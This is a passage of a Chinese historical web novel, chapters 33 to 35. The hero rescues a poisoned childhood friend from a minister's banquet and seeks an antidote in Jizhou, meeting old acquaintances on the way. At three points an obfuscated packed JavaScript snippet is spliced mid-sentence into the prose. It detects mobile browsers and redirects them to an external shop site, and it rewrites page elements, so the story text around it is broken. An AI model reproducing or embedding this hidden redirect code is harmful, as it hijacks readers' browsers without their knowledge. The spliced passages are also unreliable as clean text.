蒋铎虽说正忙着缱绻,但依旧留着心,他手里握着那娇滴滴的手,一下一下轻轻抚着,可眼神已经飘到了管家处。那管家很识相,拍了两下手就唤走了舞池里的摇曳身姿,紧接着,就见霜栽穿着天青色的绫罗赤脚走到殿中,她身边的仆从为她整好衣裙便缓步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈京观说着,拿起旁边的空酒杯为霜栽斟满,随后递到她面前。 “生在阙州,长在廊州,如今在崇州谋一份差事。” 霜栽说罢接过酒杯,用嘴抿了一口,那杯沿上留下了唇脂的气味,随后就见她将那杯酒拿在手里,递回到了陈京观面前。 “小女不胜酒力,愧对少将军抬爱。” 她这个动作引起了陈京观的好奇,他垂眸看了眼那一抹红色,勾起嘴角望着霜栽。 “姑娘不给我面子?” 霜栽闻言不做声,依旧抬着手,但是将酒杯往陈京观面前又推了推,连带着身体也朝陈京观的方向靠。 “那你喂我。” 陈京观盯着霜栽的眼睛,脸上笑意更浓,此时的宴会厅上还站着不少仆从,看到这一幕便也都识趣地退了出去。而蒋铎保持着刚才的姿态,一边瞧着,一边用手指摩挲着那枚玉佩。 不过对于霜栽而言,这些年她什么都受过了,也不在乎陈京观这几句轻薄的话,只是她没想到百姓口中凛然正气的少将军竟也是这样的俗人,可与此同时她也松了一口气,她觉得他定然不是陈景豫。 她笑着,作势就要入怀,可等酒杯要碰到陈京观的嘴唇时,她的手突然一抖,那杯酒顺着陈京观墨绿色的长袍倾倒而下,而她也顺势跌进了陈京观怀里,轻轻发颤。 “姑娘这是?” 陈京观用手拦着防止霜栽摔倒,而他臂弯里的人不像是演的,只瞧见霜栽的额头冒着虚汗,刚才还灵巧拨弦的手此刻疲软地搭在身侧,她的声音也更加虚弱。 “小女生来就有痉挛的毛病,这病一犯起来便四肢无力,头晕目眩,严重时更觉得胸口上不来气,小女不是有意冒犯少将军。” 说罢,霜栽就挪动着身子想要给陈京观磕头赔罪,可那药劲儿上来了,她此刻果真是动弹不得了。而陈京观抬眼望了望蒋铎,见他脸上除了那几分故作出的怜香惜玉并没有过多的表情。 “丞相府中连这等绝色都不爱惜吗?” 蒋铎闻言,面露难色,他起身朝陈京观走过来,用手搭着霜栽的腕子,然后摇了摇头道:“她这病不至于伤了性命,而且她只是我买来的娼妓,我于情于理都救不得。” 蒋铎说着,脸上露出几分为难,而陈京观怀里的霜栽闻言开始小声啜泣,滴落的泪渐渐湿了陈京观的外衣。 “那多谢丞相给我这英雄救美的机会” 陈京观直言,而蒋铎倒是没想到他如此直接,为了表现出自己的难过,他又与陈京观推脱了几番,最终装出一副不舍的表情,由着陈京观抱霜栽离开。而陈京观自然知道蒋铎的意思,他踏出院门的那一刻甚至能想到,明日萧霖收到的折子上,自己又加了一个好色狂徒的名号。 不过他认出她是孟郁妍了,便无论如何也会将她带走。 “刚才蒋铎手里的玉佩,是我的吧。” 33.总角之宴(三) “你认出我了?” 此时的霜栽四肢垂着,如同冬日的枯柳,她微微仰头,却只能看到陈京观的下颚。眼前的人不能说与印象中那个有些少爷气的陈景豫全不相像,但也差之千里。 陈京观没应声,将手上的力气收紧,迈着步子朝城门口走去。他是从蒋府出来的,又怀抱着一个明媚的女子,街上纵使已入夜,可仍有不少眼睛悄悄打量着他,他的步子比来时更快些,又用衣襟里的手绢轻掩住霜栽的面孔。临走到城门口时,他看到平海等在那里。 “你看到我留给你的字了?” 陈京观说着,将霜栽支在茶摊的椅子上,平海没反应过来,倒是席英先一步站在了霜栽旁边,让她能靠着自己。霜栽有些生硬地侧身看了看这个与自己差不多大的姑娘,轻声说了句“谢谢”。 “我还没来得及回去,是夏衍让我们来城门口接你的。” 闻言,夜色下的陈京观在低头的一瞬勾起嘴角,他没有回话,只是托平芜找来了白天那个马夫,随后将霜栽抱上了马车,自己牵马跟在后面。那两个小的对视了一眼,也默不作声地跟上。 “所以白天拖住你的,也是夏衍。” 陈京观似不经意般开口,而平海应了一声“是”,他原想解释,但又觉得不合时宜。陈京观感觉到了他的欲言又止,也只是拍了拍他的肩,翻身上马信步向前。 马车里的霜栽服下解药,但一时半刻还缓不过来,她从帘子的缝隙里朝后望,那四个人骑在马上护在马车后面。直到此刻,她才觉得那就是陈景豫,但是她心里却没有太多波澜。 当初孟府被蒋铎下令烧了,她与家中其他人被缚住双手跪在蒋铎的脚下,她耳边是母亲的哭泣,身边的哥哥也早就被看守的士兵打破了头,黑色的血痂挂在他的眉毛上。她想,她到死都不会忘了那一幕,所以于她而言,陈景豫死与不死,都换不回自己一家的性命。 甚至说,那一日崇宁与自己说起陈频时,她也是恨的。孟知参是一个被书香淹没的人,他也自认自己没有政治头脑,他能做陈频的幕僚,单纯是依着“信任”二字。可是他的信任并没有换来善终,陈频的意气用事,连带着将孟家拉下水。 她刚才看到陈京观第一眼时,她的确觉得他与她往日见到的那些达官显贵不同,但是他依旧戏耍了她。即使这其中可能有他的用意,但是他认出了她,却还是选择了如此手段,霜栽不觉得他是百姓口中可以救天下的人。 而马车后的陈京观一路上沉默不语,他那块被酒浸湿的料子贴着他的胸膛,如今晚风一吹,带给他的是久久不断的凉意。平海尽量与他的马平齐,他庆幸陈京观完好无损的回来了,但是又觉得他似乎变回了八年前的模样,他能做的,还是只有等,等他开口。 这一路走得漫长,因为每个人心里都藏着自己的心事,那月光将他们的身影拉长,又在转弯处收回来,他们好像变成了风筝,可线在谁的手里,他们也不知道。 走到院门口,马车缓缓停下,陈京观本还要再给马夫些打赏,但那马夫推脱了一下,举了一躬,嘴上说了一句“足够了”,便牵着马又踏上了回家的路。 陈京观那一刻并不明白马夫的话,甚至在很长一段时间他都没明白“足够”的意思,但是在当下,他脑子里有更迫在眉睫的事情需要想清楚,需要问清楚。 “等下我去找你,你先带他们去洗漱,今日都累了,让他们早些睡。” 陈京观将霜栽横抱在胸前,然后抬头对平海说,而霜栽像睡着了一般闭着眼睛,平海望了她一眼,默不作声地去收拾东西。陈京观也望了望怀里的人,他也没说话,走入院子将她放到了自己房间的榻上。 “别装了,你没睡。” 陈京观说着,伸手抚了抚袖子上的褶皱,又给霜栽倒了一杯水,只是他将手上的杯子递到霜栽面前时,她没有接,他便不禁失笑。 “怎么,换我喂你?” 霜栽不再理会他的讥讽,伸手接过了那杯水,她嘴里还有刚才那药丸留下的苦味,正好要用水压一压,不过她刚喝了一口,就回过神来。 “你知道我是装的?” 陈京观闻言笑了笑,拉过桌边的椅子坐下,他双手抱胸有些无奈的看着霜栽。 “你不是装的,但也应该是服了什么药才导致的肌肉无力,不过你胆子挺大的,敢在酒杯里下毒。” 陈京观此话一出,霜栽握着杯子的手紧了紧,她垂着眼眸微微抿着嘴,半晌才开口:“若我说,酒里的毒,不是我下的呢?” 陈京观一时有些发懵,但很快反应过来,他问道:“你是说,酒里是另一种毒,那你为何要喝?” 霜栽没搭话,将杯子里剩余的水一饮而尽,又伸着手问陈京观讨要。等着她胸口那股隐隐的灼烧感被压下一点,她才开口。 “那杯酒你没喝,如果我也不喝,蒋铎不会放我们离开的。” 霜栽的话点醒了陈京观。他起初在宴席开始时倒了一杯酒,但只是作势要饮,实际上将它原封不动的倒在了地上。按蒋铎的性子,是见他半天没反应才派上了霜栽,如果此时霜栽也完好无损的离开,那么与蒋铎而言太便宜陈京观了。 “你知道那是什么毒?” 霜栽点了点头,望着自己指尖常年弹琴留下的茧,缓缓开口道:“当时我母亲就死于中毒,后来我学会了所有的制毒手法。” 霜栽的话轻描淡写,可陈京观像是被一桶冷水从头浇到尾,他没想到霜栽会直接提起她的母亲。他将她手里的空杯子接过来,然后就听她继续说道:“我想过你能活下来,却不知道你既然跑了,又为何要回来?” 陈京观的喉咙被这句话涩住,他望着眼前这个曾用软软的声音叫自己的孟郁妍,如今皮囊没变,心却变了。 “我想为我父亲寻个真相。” 陈京观说得恳切,但回应陈京观的,只有霜栽的冷笑。她侧过头露出天真的笑,可嘴里的话却满是讥讽。 “靠投靠狗皇帝,还是靠你如今的一身铠甲,少将军?” 陈京观没有理会霜栽的敌意,其实他从心底里,也觉得愧对孟家。 那一夜的大火,原本只会烧到陈府的门口,纵使孟知参以下犯上触怒了蒋铎,也断不至于牵连孟府上下,可是那场大火里属于陈京观的,只有那枚玉佩,而他最有可能藏身的,就是孟府。 陈京观甚至记得母亲最后将自己送到孟叔叔手里的目光,她的眼里明明有泪,可自己却没有问上一句,而是满心欢喜的想要与孟遥鹤一同比赛投壶。他已经记不得母亲最后叮嘱了什么,但是他记得孟知参扭过他的脑袋,让他朝家门口举了一躬。 那之后的第二天,陈频被告通敌,陈府被烧,温润入狱。陈京观哭着喊着要回家,最后被孟知参灌了一碗安魂汤睡了整整三日。他再醒来时,只发觉自己腰间的玉佩不见了,而他觉得自己还在梦里,因为孟府的下人无意间提到陈府全家无一生还。 可他还没来得及去问孟叔叔到底发生了什么,孟知参就被蒋铎投狱。孟府的下场与陈家如出一辙,但蒋铎不愿担公报私仇的罪责,便只是下令发卖了孟家所有人,陈京观最后再见到孟家兄妹,是与他们远远望了一眼,随后他就被孟家婶婶楚鸳推到了孟家后院的废水井里。 后来他不知是被冻醒的还是痛醒的,只知道睁眼时自己被厚厚的杂草堆盖着,那口井的上面被人压了石块,但又刻意留了缝隙,他从那条缝里看到了正午的阳光,以及天上飘下来的雪花。 长久水米未进,他张着嘴努力接着雪水,可那雪花没等落到他身上就消融不见了,他只好努力翻身起来,双腿跪在草地上,一点点挪动那块石头,直到最后双手鲜血淋漓,他见到了漫天的雪,也见到了满目的血。 他像是被遗弃在天地间的一株草,但是他却不敢哭出声音,他眼前是大火留下的灰烬,曾经他与孟遥鹤一同写字的桌子如今在风中腐朽,一个月前刚贴上的福字如今只能依稀与血色相融。他知道发生了什么,却也不知道发生了什么。 陈京观脑海里又浮现出了八年前的画面,他眼神空洞的向下垂着,而霜栽见他不说话,语气里的嘲讽意味就更浓了。 “怎么,被我说中了心事,觉得无颜了?” 陈京观抿了抿嘴,说道:“孟家其他人,还好吗?” 这回轮到霜栽语塞,她身子一怔,胸口那股刚抑下不久的燥热感又升了上来,她不知道是因为痛还是因为别的,她只感觉到脸上湿润一片。 “与你一样,孟家,也只剩我了。” 那句“与你一样”,像是刀子一般扎进了陈京观心里。这么多年他一直在打听孟家的消息,只要能路过廊州,他总是要去问一问有没有几年前被卖到这里的,可是遍寻无果,他心里觉得或许他们能如自己一般隐姓埋名,但他也早就预料到了。 那世道,被赶出阙州的妇孺,能跑到哪里去。 “对不起。” 陈京观脱口而出,却不知道自己究竟对不起的是被自己连累的孟府,还是被父亲连累的孟府,抑或者都有。而他面前的霜栽轻笑了两声,从榻上起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093050|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝他靠近。 “陈京观,你最好让我知道我们一家没有白死。不过你若做不到,我也会做到的。” 霜栽的声音在陈京观头顶盘旋,她的语气如同那日降在陈京观身上的雪花,一点点融化,然后慢慢将他浸湿,留给他长久的寒冷。 “郁妍,那你的毒要如何解?” 陈京观开口,叫出的还是那个名字。霜栽有些发愣,眼眶渐渐湿了,她仰着头不让泪流出来,而陈京观也依旧低着头,不敢看她。 “你果然要救我。可究竟因为你是菩萨心肠的少将军,还是因为我是孟郁妍?” 霜栽的话里是抑制不住的哭腔,而陈京观也被惹得鼻头发酸。 “都是。” 闻言,霜栽笑了,她抬手抹了一把自己的脸颊,恢复了如常刻薄的语气。 “此毒名为满堂彩,有一味药材是济州特有,不知……” “我去寻。” 陈京观没等霜栽把话说完,他便抬头迎上了霜栽的目光。但这一瞬,霜栽在他眼睛里看到了名叫孟郁妍的姑娘,他是唯一一个还见过她的人了。 “可你这番动作,会让崇宁知道你就是陈景豫。” 陈京观闻言笑了笑,也站起身,他推开自己的房门,让月光洒了一地。 “我从未想过要瞒着他们,我倒真愿意他们一见到我,便能想起我父亲。不过她用你当引子,”陈京观背对着霜栽,但是她看到了他慢慢握紧的拳头,“还真是煞费苦心。” 霜栽不再言语,此刻她胸腔里的毒在一点点侵蚀她的神经,她也明白了那一日母亲为何要死死抵住门不让自己看她,她美了一辈子,最后大抵也不想让任何人看到自己的狼狈。 不过她有一点没想明白,崇宁给自己的药已经可以诱出陈京观,可为何那壶酒里还有毒,如果直接让陈京观死在蒋府,蒋铎必定脱不了干系,那蒋铎又是何用意。霜栽想着,却没有将这些告诉陈京观,她对他还心存芥蒂,她相信他救自己是顾念儿时的交情,可是人坐到这个位置,当真没有一点私欲吗? “你先休息吧,明日我托平海去告假,我带你去济州。” 陈京观说罢,转身作势要替霜栽关门,而霜栽开口道:“你的主卧给我,你睡哪?” “书房。” 陈京观的话没有一丝犹豫,他说完就关上了门,却迟迟没有离开。 “柜子里有匕首,你不放心就放在枕边。蜡烛你可以多点几支,你怕黑。” 霜栽望着门上印出的人形,心里思绪万千,她原想开口,却发觉除却嘲讽,她没想过自己还能与他说什么。而陈京观说完又站了一会,见她没有回音便离开了。 此时的宅院里,东西两侧的厢房都暗了,只有院中的月光指引着最里屋的烛火。陈京观叹了口气,虽说今日的事情多,但是能见到霜栽,他总是开心的。而他稍微偏头,看见平海的屋里也亮着灯,便过去敲了敲门,听到里面的声音后悄声进去。 “那位姑娘是?” “儿时故交,霜栽姑娘。” 陈京观还没开口,平海已经发问,他少有如此紧张的时候,不过他得到了陈京观的回答,心稍稍安了,脸上的神色也缓和了几分。 “那就好,我生怕蒋铎给你使绊子,往你身边安插眼线。” 听了平海的话,陈京观倒是笑出了声,他走了两步坐到平海对面,有些玩味的打趣他。 “怎么,我像是很耐不住的,还是说我像是很好欺负的?” 平海没回话,陈京观也敛了语气里的轻佻,他察觉得出平海的紧张还有一部分。 “今日的事,你可愿意与我说?” 陈京观望着平海,而平海顿了顿,好像在思索从何说起,片刻后开口。 “平芜嚷着让我带他去赶集,我们刚出门就看到了夏衍。他像是等了很久,而他确实是在等我。”平海说到这抬头看了陈京观一眼,陈京观示意他继续,“他让我打发两个小孩去买东西,把我拉到旁边,一开口就说起了我父亲。” 闻言,陈京观眉头微微皱起,但是他没有言语,平海便继续道。 “他问我父亲是不是随陈尚书一同去的西芥,又问起我与你是如何相遇,我觉得他奇怪,但他表情严肃,不像轻易会作罢的。我将我的那一部分将给他听了,对于你的那一部分全按不知道回应。我觉得他不信,但是他也没多说。” 平海的话说罢,陈京观陷入了沉默,良久之后缓缓开口。 “这世上果真没有坚不可摧的盟友。” 34.总角之宴(四) 平海和陈京观的交谈以陈京观最后这句语焉不详的话为止,平海也没有再多过问。 第二日一早,陈京观留下了平家兄弟,只带了席英和霜栽,他看到了昨夜席英与霜栽的互动,他觉得相比自己,席英或许更能与霜栽说上话。于是三个人骑着两匹马,由席英带着霜栽走在前头,陈京观殿后,朝着济州的方向去了。 从阙州到济州,原先是可以从三界交汇处走的,但是自从北梁打下东亭之后,那个哨卡就很难通过了,更何况霜栽作为泯川头牌,纵使不是人人识得,那也断不可以冒这个风险。 陈京观想着快去快回,于是就选了从遥景平原入境。那里的管治本就松散,再加之一行只有三个人,他们借用了夏衍的身份以兄妹相称,在遥州城门外演了一出,最后也算是顺利进入了北梁。 其实陈京观想过或许可以找陆栖野帮忙,但是他一开春就去了禹州马场,每日除了驯马之外还兼着守军的日常戒备,他们这几个月连书信都不似过去频繁,陈京观最后开始没开这个口。 不过他三人进了遥州,基本可以在北梁横行。穆远山动用了自己这么多年积攒下的人脉,无论从食宿还是行程,都安排的十分妥帖。自他从阙州回来后,陈京观还未与他好好聊过,事情一件接着一件,他就暂时将穆家兄弟搁置了。不过平海倒是很欣赏穆远山,他说克尔茶湖那招移花接木就是穆远山的主意,他虽然行动不便,可因此也有了更多时间可以读书,故而通晓兵法。 那夜陈京观与平海说了自己要去济州的事情,平海便一封快报递回了雍州,等陈京观入遥州时,城门口已经有了接应的人。 而霜栽这一路出奇的安静,无论陈京观给她安排什么角色她都心领神会地认下了,不知是因为体内的毒素让她无心再与陈京观争执,还是她也在趁机观察着许久未见的故友,总之是没有再起风波。 他们一路就这么走着,等到了济州也到了七月。东亭原本就是海湾小国,济州作为都城已算繁荣,现如今又成了北梁的陪都,发展得更是不错。此时夏季第一批海产品捕捞上岸,鱼腥气混合着阳光暴晒后的海盐味,送货的马车络绎不绝地行走在路上。 而越往北走,越靠近益州,路两旁的青梅园就越繁茂,连空气中都是成熟的梅子沁出来的酸甜风味。霜栽所说的那一味青黛就在济益交界的嵩阳县,那里有雪山融水,最适宜这类植物的生长。 他们在济州城拜别了穆远山的远方表亲,而对方也识相地未做追问。当晚,他们住进了嵩阳县郊的客栈,并向掌柜的打听了一下当地收售青黛的铺子,青黛在本地也不算多见,那掌柜的本还有所怀疑,看到陈京观递上来的银子立马笑脸盈盈的为他们指了方向。 此时的霜栽已经被那毒药入侵了脾胃,除了清淡的白粥和凉拌的野菜,基本吃不下什么,陈京观见她日渐消融的身形,想要开口,却又找不到理由,只好托席英看顾她,自己一个人出发去寻药。 益州是东亭最小的州县,最初东亭皇帝也只是将其作为防守北梁的最后一道关隘,无论是土地还是人口都毫无优势可言。可因济州是东亭皇室的天下,一旦百姓不小心得罪了某位贵人,就只能举家搬迁去益州避难,久而久之,益州也就成了穷苦人的聚集地。 陈京观顺着店家的指引去到了那个药铺,可是铺子的掌柜说今年的青黛产量少,前几日又有人高价收走了所有存货,如今整个嵩阳都很难再找到现成的青黛。 掌柜的话说得诚恳,陈京观自然信了,但是这事不免太过蹊跷。青黛并非什么珍贵的药材,不过就是因特产在嵩阳县而且产量少些,可素日里这药断不可能售罄,更别说一夜间都被人买走。陈京观辞别掌柜回到了街上,他试着又去几个门脸大些的铺子问了问,果然都是如出一辙的答案。 今日恐怕难买到了,陈京观想着,不经意瞧见了两边新鲜的青梅,它们已经熟透了,被晾晒在各户人家的院内,远望之间绿莹莹一片。他估摸或许霜栽能吃得下去酸的,便想顺路买些回去,可等走到一家铺子面前,他手还没伸出去,就看到店里那个熟悉的身影。 “江掌柜,别来无恙啊。” 江阮闻言转身,依旧是笑脸相对,他似乎并不记得自己曾在西芥做过什么,热切地跑到陈京观面前拍了拍他的肩膀,将手里一颗擦干净的青梅递给他。 “陈兄怎么会在济州,莫不是寻着我来喝青梅酒?”江阮打趣着,又继续说道,“不过如今梅子刚好,等我酿好估计要到深秋了,陈兄不妨再等等,好酒不怕晚嘛。” 江阮的话尽量表现出自己与陈京观的熟络,他说罢将一颗青梅送入口中,作出品味的表情,又示意陈京观也试试,而陈京观此刻看到他似乎也并不意外,他顺着江阮的动作咬了一口手中的青梅,应承着夸了两句。 “店家,将我刚才选好的梅子分出一包来,我现在就拿走。” 江阮说完,店家忙不迭地递上布褡子,而江阮侧身,示意店家直接给陈京观。 “我是这家的常客了,他们的青梅是嵩阳乃至整个东亭数一数二的,陈兄若不嫌弃,还请收下。” 江阮一边说着,一边弯腰以示恭敬,那店家见江阮如此,便将手里的褡子又往陈京观处靠了靠,陈京观也习惯了江阮这幅面貌,嘴上道了句谢,便收下了。他等着江阮付完帐,与他一齐在街上走。 “对了,陈兄还未回我,您怎么来了济州?” 江阮一边走着一边很自然的问话,陈京观抿了抿嘴,开口道:“家中小妹生病,来济州寻药。” 闻言,江阮一副大惊失色的表情,他站住脚,眼神里满是紧张与惋惜。 “什么病,要紧吗?我在济州有认识的好郎中,若陈兄不弃,我寻他去给令妹瞧瞧?” 陈京观望着江阮,眼神里的戏谑越发明显,他有时真的很好奇,一个人怎么能像是失忆了一般全然不记得过去,可以表演得如此夸张却不让自己觉得奇怪。 “好啊,我与小妹就住在前面的兴旺客栈,不过小妹身子属实不适,不妨贤弟先引我去见一见那位郎中?” 江阮听得出陈京观语气里的挑衅,但他仿佛并不在乎,他一边抬头看天,一边望了望陈京观手指的方向,像是有些犹豫,但最终依旧开口。 “我认识的那位神医不是寻常郎中,他平日在道观修道,太阳西斜后便不见客,此刻我们去怕是要吃闭门羹。” 陈京观看得出江阮是在故弄玄虚,但他不想顺着他的话说。 “离落日怕还有一个时辰,你我快马加鞭定能赶到,家妹的病耽搁不起,我今日说什么也得见一见这神医。” 陈京观说话时语气不算友好,他直勾勾盯着江阮,眼睛似有一个账本,江阮觉得那双眼睛在与自己一笔一笔算旧账。 “好,那我陪陈兄去一趟,他就在益州乾清观。不过,”江阮笑了笑,面露难色,“以我的马术怕是不成,若陈兄想快些,估计得你我同乘。” 陈京观有些无语,不过江阮说得倒也不虚,他微微点头应下了,朝店家借了马便往益州跑去。因为担心霜栽,陈京观一路上骑得很快,不出半个时辰就看到了乾清山,而他背后的江阮一路被颠得难得安静,下马的一瞬险些没站稳。 “不是我说,江掌柜往来奔波总不会都靠马车和轿子吧,你这商业版图如此辽阔,马术倒是与此并不相配。” 江阮忍耐着胃里的不适,点着头应下陈京观的调侃,缓缓了气,和陈京观一齐往山上走去。 这乾清山不是什么巍峨壮岭,只不过是东亭地势平坦,很少能看到山川,人们就给这小山丘起了个雄伟的名字,表示对天地的敬慕。 陈京观往上爬着,眼前慢慢露出道观的顶端,不过他先看到的是那缕随风飘摇的青烟,这地方偏,来敬奉的人不多,那缕烟看起来孱弱,却好似一条连接上天的桥梁,陈京观望着,表情凝重了一些,他知道江阮从不做无利的买卖,但是这一次他必须得来。 到了道观门口,陈京观才得以窥到全貌。从外观来看这观颇有年程了,外墙斑驳,原本漆红色的外柱已经显露出原木灰,他沿着台阶向上走着,眼前一个在院内打扫的小道士看到了他,朝他行礼,将扫帚斜放在香炉旁迎了过来。 “施主临观,是有何事?” 陈京观见眼前的人年岁不大,说起话来倒是熟稔其道,不禁失笑,而他旁边的江阮接上了小道士的话,问了一句:“凤麟先生可在?” 听到这个名字,小道士眼睛转了转,他侧目打量着眼前的二人,有些谨慎地回:“还有一刻凤麟先生就要归山了,不妨你二人明日再来。” 江阮闻言,从腰间取下一枚玉带钩,交到了小道士手里。 “你且将这东西拿给他,他会见的。” 小道士有些不明所以,但依旧照做了。等他走后,陈京观歪着头看了一眼江阮,江阮笑了笑解释道:“既然是旧相识,自然有些私密的信物。” 陈京观听罢没做回应,和江阮一起等在原地,那小道士跑到了道观后侧的厢房,没一会就出来请他们,不过再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112087|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见时,他脸上的表情稍微有些复杂。 “先生说有请二位贵客。“ 说罢,小道士默默在前头带路,陈京观与江阮便跟着他往里面走。越走到里面,陈京观发现这道观倒更像个客栈,或者称医庐,有不少人扎堆候在门口,一些人领了药喜气洋洋的走了,一些则偷偷站在墙根抹着泪,场面有些割裂。 不过进了别人的地界,陈京观也不好表露的太过明显,小道士将他们引到一处半掩着的柴门外,朝里面喊了一声“先生”,那屋里便传来一个男子的声音。 “贵客稍等,我手上还有一个病人在施针,不便请您进来。” 陈京观望了望江阮,他倒像是习以为常,斜靠在外墙上眯着眼假寐。约莫半柱香的时间,那扇柴门被推开,一个妇人抱着个孩子边走还边朝门里道谢,脸上眼泪婆娑,怀里的孩子微微红着脸,陈京观看了她们一眼,又朝门里探身。 “进来吧。” 那小房间朝阳,但是如今太阳快落山了,房间内的光照不是很好,陈京观看到里屋端坐着一个身形高挑的男子,他嘴上应着他们,但手上的动作却没停,一边翻着簿子一边在上面记着什么。 “在下陈京观,托江掌柜的福得见神医,还望神医能救小妹性命。” 陈京观说着,朝面前的男人躬身,那男子抬起头的一瞬,虽说岁月无常,可陈京观还是能认得出眼前的人,他是苏晋的儿子,苏清晓。 不过眼前的男子倒是没什么反应,他摆了摆手叫陈京观过来,此刻江阮出声:“我在这怕有不便,我在外等候。” 那男子含笑朝他微微点头,等着江阮离开,房间只剩一片死寂。 “苏叔叔……” “他很好。” 陈京观试探着开口,而苏清晓像是明了他的心事,未等他说完便接话。不过他话音刚落,就又接了一句:“我只是不愿遵父命再进朝堂。” 陈京观了然的点了点头,一时间二人又没了声音。陈京观小心翼翼地看着眼前的人,他和小时候真的一模一样,无论是举手投足还是目光语气,都是一副很淡然的样子,不过他小时候最不喜欢白色的衫子,如今却一袭白衣坐在堂前。 “小妹,我不记得你有个小妹。” 苏清晓见陈京观有些犹疑,便率先开口,他说着话,站起身朝陈京观走过来。他小时候脾胃就不好,吃不下多少东西,现在看起来更瘦了,轻薄的外衫挂在他的肩头,陈京观似乎能看到下面凸起的骨头。 “是郁妍,或者可以叫她霜栽。” 苏清晓听到这个名字身子一怔,眼神里那一瞬闪过去许多陈京观没有察觉到的情绪,他微微点头,开口道:“她怎么了?” 陈京观与苏清晓说了故事的原委,苏清晓听着,虽然表面没有波澜,可是下颌越收越紧,等陈京观说罢,他沉默了片刻才开口。 “我这里还有今年新采的青黛,你拿去吧。” 苏清晓说着,转身回到药柜旁,在玲琅满目的匣子里选出一个,用布包裹了些许药材,递给了陈京观。 “你不去看看她?” 苏清晓提着布包的手顿了顿,缓缓摇头道:“她连你都不愿见,更何况是我。” 说罢,那个布包落在陈京观手心里,一股清苦的味道久久萦绕在他鼻尖。苏清晓还想说什么,但最后忍住了,他又转身将剩下的药都包好,甚至分装了每次的用量,陈京观看他忙着,只觉得喉咙发涩。 “每日一帖,小火慢炖两个时辰,青黛在最后一刻加入,饮用上层清液,底部沉渣可做敷料,贴在她额头上,如此三日,基本无虞,但是满堂红会伤气血,让她往后注意食补。” 苏清晓怀里抱着刚配好的药,事无巨细的嘱咐着陈京观。看到他如今的模样,陈京观还有些许欣慰,可能是他从小就觉得,苏清晓就该离那官场远远的。 “当真不去见见?” 陈京观脸上满含笑意,而苏清晓眼底却有些许落寞,他拍了拍陈京观的肩,开口道:“那一日我救不下你们,我本以为你们不会见我了。” 苏清晓的话让陈京观有些意外,他肩膀上还留存着那只手的温度,可却能感觉到伸手之人的心是冷的。 “你为何会觉得我们该怪你?” 苏清晓没有回答陈京观的话,他收了收桌上的药匣子,晚霞的最后一丝光落在他脸上,替他掩上了一层面罩,陈京观看不清他的表情,但离开时,他听了他应了自己。 “合该拼一拼的,哪儿独活的道理。“ 35.总角之宴(五) 陈京观从乾清观回来,一路上沉默不语,他脑海里始终响着苏清晓最后那句话。他当时背身于他,他觉得这句话更像是苏清晓的自言自语,他不知道他那时在想什么,又或者这八年在想什么。 他只觉得,苏清晓这些年也不好过。 当初苏晋与父亲走得很近,甚至说关系好过与孟知参,他也自然与苏清晓更为相熟,或许就是因为太了解他曾经的样子,才觉得现在的他明明什么都没变,却好像什么都变了。 “你们之前认识?” 归途中一直若有所思的陈京观不似来时急切,江阮也便能有空隙问上一句。他看到陈京观点了点头,却没有想要说下去的意思。 “凤麟先生可是益州的活菩萨,”提到这个词,江阮顿了顿,他看陈京观还是没反应,就继续说:“我们都不知道他从哪儿来,但是三四年前他开观门为四方百姓问诊,不收诊费和药费,只需要百姓来时拿上些吃食即可。据说他的医术是随老道长习得,看他年纪轻轻,倒颇有悟性。” 江阮有一搭没一搭地说,但是说的的确都是陈京观想听的。他看似心无旁骛地骑马,实际上他眼前又浮现出苏清晓儿时的样子。他从小就聪明,当时温书陈京观总挨板子,而苏清晓却能一字不差的背出来。 “我与他相识于梅林,当时他想制些解暑的酸梅汤散给百姓,我恰好在与店家谈生意,店家见到他时恭敬的举了一躬,我便有些好奇,一问才知道他就是鼎鼎大名的凤麟先生。之后我常为他带些南北两地不寻常的草药,他也用针灸替我缓解风疾,久而久之就成了好友。” 江阮说罢,轻笑一声,他此时替陈京观抱着草药,那气味缓解了他的晕眩,他也就有了力气去调侃陈京观。 “不知你二位是如何认识,怕不是在天上堂会见的?” 陈京观不理睬他,用手把缰绳勒紧了些,那马受了疼,脚下的步子快了起来,江阮微微向后倒了倒,努力稳住身子。 “真是禁不起调笑,罢了。今日我又帮了你一个忙,你要记住哦。” 陈京观“嗯”了一声,但是脚下的步子并没有放慢的意思。此时的阳光已经被云层隐住,再加之本就是日暮,天光暗了下去,又因济州多雨,他想快些赶回客栈。 等二人又走到那家青梅铺子,店家早就等在门上。他看见江阮来了,便将刚送出去的货单给他瞧,江阮没说什么,那店家也就放心了,他牵过陈京观手里的马,又跑回店里拿了一把伞递到陈京观手里。 陈京观这时才察觉到,那店家像是哑人。 他抬眼望了江阮一眼,江阮微微点头证实了他的想法,陈京观道了声谢,与江阮并排往客栈走去。行进间,那朵云就降下雨来。 “江掌柜难不成也与我在天上见过?” 江阮闻言,立刻反应过来,他眼眸含笑,边走边说:“或许真是前世的缘分。” 陈京观知道江阮贯是油嘴滑舌,便对他的话一笑了之,不过江阮见陈京观终于肯主动开口,就抓住时机又问了一句:“你真没什么要与我说的?” 陈京观闻言挑了挑眉,答了一声“没有”,继续大步向前走。 